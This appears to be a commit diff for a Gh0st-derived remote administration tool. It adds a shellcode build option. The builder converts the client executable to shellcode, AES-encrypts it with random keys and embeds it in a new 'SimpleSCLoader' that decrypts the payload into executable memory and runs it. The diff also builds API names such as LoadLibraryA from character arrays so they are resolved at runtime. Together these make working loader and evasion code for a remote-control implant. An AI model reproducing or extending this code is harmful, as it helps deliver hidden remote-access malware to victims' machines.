Feature: Add client shellcode building option

2019Remote.sln

@@ -24,6 +24,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}"
 EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SCLoader", "client\SCLoader.vcxproj", "{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}"
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Debug|x64 = Debug|x64
@@ -72,6 +74,14 @@ Global
 		{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.Build.0 = Release|x64
 		{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.ActiveCfg = Release|Win32
 		{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.Build.0 = Release|Win32
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.ActiveCfg = Debug|x64
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.Build.0 = Debug|x64
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.ActiveCfg = Debug|Win32
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.Build.0 = Debug|Win32
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.ActiveCfg = Release|x64
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.Build.0 = Release|x64
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.ActiveCfg = Release|Win32
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.Build.0 = Release|Win32
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE

client/SCLoader.vcxproj

@@ -0,0 +1,161 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{f33fc38a-e7a0-47d1-9f35-6dfe49c7194a}</ProjectGuid>
+    <RootNamespace>SCLoader</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+    <IntDir>$(Configuration)\loader</IntDir>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+    <IntDir>$(Configuration)\loader</IntDir>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+    <IntDir>$(Platform)\$(Configuration)\loader</IntDir>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+    <IntDir>$(Platform)\$(Configuration)\loader</IntDir>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="..\common\aes.c" />
+    <ClCompile Include="SimpleSCLoader.c" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="..\common\aes.h" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>

client/SCLoader.vcxproj.filters

@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="源文件">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="头文件">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="资源文件">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="SimpleSCLoader.c">
+      <Filter>源文件</Filter>
+    </ClCompile>
+    <ClCompile Include="..\common\aes.c">
+      <Filter>源文件</Filter>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="..\common\aes.h">
+      <Filter>头文件</Filter>
+    </ClInclude>
+  </ItemGroup>
+</Project>

client/SCLoader.vcxproj.user

@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>

client/SimpleSCLoader.c

@@ -0,0 +1,32 @@
+#include <windows.h>
+#include <stdio.h>
+#include "../common/aes.h"
+
+struct 
+{
+	unsigned char aes_key[16];
+	unsigned char aes_iv[16];
+	unsigned char data[4*1024*1024];
+	int len;
+} sc = { "Hello, World!" };
+
+// A simple shell code loader.
+// Copy left (c) yuanyuanxiang.
+int main() {
+	if (!sc.data[0] || !sc.len)
+		return -1;
+
+	for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]); printf("\n\n");
+	for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]); printf("\n\n");
+
+	struct AES_ctx ctx;
+	AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
+	AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
+	void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+	if (exec) {
+		memcpy(exec, sc.data, sc.len);
+		((void(*)())exec)();
+		Sleep(INFINITE);
+	}
+	return 0;
+}

common/commands.h

@@ -566,6 +566,7 @@ enum ProtocolEncType {
 enum ClientCompressType {
 	CLIENT_COMPRESS_NONE = 0,
 	CLIENT_COMPRESS_UPX = 1,
+	CLIENT_COMPRESS_SC = 2,
 };
 
 #pragma pack(push, 4)

server/2015Remote/2015RemoteDlg.cpp

@@ -758,14 +758,16 @@ LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam) {
 extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, 
 	LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength);
 
-bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
+bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength, bool align=false) {
 	if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
 		LPSTR finalShellcode = NULL;
 		DWORD finalSize;
 		if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, &finalShellcode, &finalSize)) {
 			return false;
 		}
-		compressedBuffer = new BYTE[finalSize];
+		int padding = align ? ALIGN16(finalSize) - finalSize : 0;
+		compressedBuffer = new BYTE[finalSize + padding];
+		memset(compressedBuffer + finalSize, 0, padding);
 		ulTotalSize = finalSize;
 
 		memcpy(compressedBuffer, finalShellcode, finalSize);

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -217,10 +217,12 @@
   </ItemDefinitionGroup>
   <ItemGroup>
     <None Include="..\..\Release\ghost.exe" />
+    <None Include="..\..\Release\SCLoader.exe" />
     <None Include="..\..\Release\ServerDll.dll" />
     <None Include="..\..\Release\TestRun.exe" />
     <None Include="..\..\Release\TinyRun.dll" />
     <None Include="..\..\x64\Release\ghost.exe" />
+    <None Include="..\..\x64\Release\SCLoader.exe" />
     <None Include="..\..\x64\Release\ServerDll.dll" />
     <None Include="..\..\x64\Release\TestRun.exe" />
     <None Include="..\..\x64\Release\TinyRun.dll" />

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -189,6 +189,8 @@
     <None Include="res\string.ico" />
     <None Include="res\upx.exe" />
     <None Include="res\frpc.dll" />
+    <None Include="..\..\Release\SCLoader.exe" />
+    <None Include="..\..\x64\Release\SCLoader.exe" />
   </ItemGroup>
   <ItemGroup>
     <Text Include="..\..\ReadMe.md" />

server/2015Remote/BuildDlg.cpp

@@ -7,6 +7,9 @@
 #include "afxdialogex.h"
 #include <io.h>
 #include "InputDlg.h"
+#include <bcrypt.h>
+#include <wincrypt.h>
+#include <ntstatus.h>
 
 enum Index
 {
@@ -96,6 +99,42 @@ END_MESSAGE_MAP()
 std::string ReleaseUPX();
 void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress);
 
+bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer,
+	int ulOriginalLength, bool align = false);
+
+BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size);
+
+typedef struct SCInfo
+{
+	unsigned char aes_key[16];
+	unsigned char aes_iv[16];
+	unsigned char data[4 * 1024 * 1024];
+	int len;
+}SCInfo;
+
+#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
+
+bool MYLoadLibrary(const char* name) {
+	char kernel[] = { 'k','e','r','n','e','l','3','2',0 };
+	char load[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
+	typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
+	if (!GetModuleHandleA(name)) {
+		LoadLibraryF LoadLibraryA = (LoadLibraryF)GetAddr(kernel, load);
+		return LoadLibraryA(name);
+	}
+	return true;
+}
+
+void generate_random_iv(unsigned char* iv, size_t len) {
+	typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
+	typedef NTSTATUS(WINAPI* BCryptGenRandomF)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
+	char crypt[] = { 'b','c','r','y','p','t',0 };
+	char name[] = { 'B','C','r','y','p','t','G','e','n','R','a','n','d','o','m',0 };
+	MYLoadLibrary(crypt);
+	BCryptGenRandomF BCryptGenRandom = (BCryptGenRandomF)GetAddr(crypt, name);
+	BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
+}
+
 void CBuildDlg::OnBnClickedOk()
 {
 	UpdateData(TRUE);
@@ -230,8 +269,42 @@ void CBuildDlg::OnBnClickedOk()
 		{
 			run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
 			MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>UPXѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>\r\n<EFBFBD>ļ<EFBFBD>λ<EFBFBD><EFBFBD>: " + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
-		}else 
+		} else {
-			MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
+			if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC) {
+				DWORD dwSize = 0;
+				LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
+				if (data) {
+					int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
+					if (iOffset != -1) {
+						SCInfo* sc = (SCInfo*)(data + iOffset);
+						LPBYTE srcData = (LPBYTE)szBuffer;
+						int srcLen = dwFileSize;
+						if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
+							generate_random_iv(sc->aes_key, 16);
+							generate_random_iv(sc->aes_iv, 16);
+							std::string key, iv;
+							for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
+							for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
+							Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
+
+							struct AES_ctx ctx;
+							AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
+							AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
+							if (srcLen <= 4 * 1024 * 1024) {
+								memcpy(sc->data, srcData, srcLen);
+								sc->len = srcLen;
+							}
+							SAFE_DELETE_ARRAY(srcData);
+							PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
+							strSeverFile.ReleaseBuffer();
+							BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
+						}
+					}
+				}
+				SAFE_DELETE_ARRAY(data);
+			}
+			MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n" + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
+		}
 		SAFE_DELETE_ARRAY(szBuffer);
 		if (index == IndexTestRun_DLL) return;
 	}
@@ -295,6 +368,7 @@ BOOL CBuildDlg::OnInitDialog()
 
 	m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "<EFBFBD><EFBFBD>");
 	m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX");
+	m_ComboCompress.InsertString(CLIENT_COMPRESS_SC, "SHELLCODE");
 	m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
 
 	m_OtherItem.ShowWindow(SW_HIDE);